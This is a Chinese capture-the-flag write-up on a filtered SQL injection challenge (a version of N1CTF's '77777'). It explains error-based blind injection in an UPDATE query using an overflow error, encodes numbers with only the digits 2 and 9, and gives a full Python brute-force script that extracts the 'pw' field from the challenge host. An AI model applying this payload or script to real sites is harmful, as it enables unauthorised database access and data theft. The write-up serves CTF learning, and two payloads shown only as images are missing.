其实是N1CTF上的77777的第三版本23333
关键代码给出来了,和N1CTF上没有变化
但是这次不同的是不能再看到points的数值,所以之前的方法都不能用了
一般来说在UPDATE语句只能盲注,但是这里fuzz了一波发现sleep和benchmark还有等于号都被过滤了所以时间盲注也不好用了(况且时间盲注本来就是注入里面最不稳定的一种,一般都是没得选了才会用时间盲注)
仔细思考了一下,发现这里其实可以进行error base注入,关键点就在这两行代码
if(!update_point($_POST['flag'],$POST['hi']))
echo 'sorry';
也就是说当MySQL执行时报错,页面上就会输出sorry。所以我们可以构造注入语句,让他在我们需要的时候报错。
以前从蓝猫师傅的博客中学到过一个姿势,如图:
这样就可以控制在if条件语句为真时才报错,所以我们就能进行注入了。
但是继续fuzz发现,数字被过滤的只能用2和9,那么这个payload就要稍微改一下变成:
而同样因为数字大部分被过滤,加号也被过滤,所以注入猜解时单数可用9-2-2..这样的形式来表示,偶数用9*2-2-2-2这样的形式来表示。
最后的脚本为:
import requests
strs = 'abcdefghijklmnopqrstuvwxyz'
url = 'http://104f7f8ae68540f99f73dfdbf4f8660b52cc16a7561f4bbf.game.ichunqiu.com'
data = {
'flag': '1',
'hi': ''
}
payload = "|if(substr(pw,{},9-2-2-2-2)>'{}',(select 999999999999999999999999999999 * 9e299),2)"
get = ''
pad = lambda n : '-2' * n
for i in xrange(1, 21):
for j in strs:
if i % 2 == 0:
tmp = 36 - i
data['hi'] = payload.format('9*2*2' + pad(tmp / 2), j)
else:
tmp = 29 - i
data['hi'] = payload.format('29' + pad(tmp / 2), j)
print data['hi']
r = requests.post(url, data = data)
if 'sorry' not in r.content:
get += j
print get
break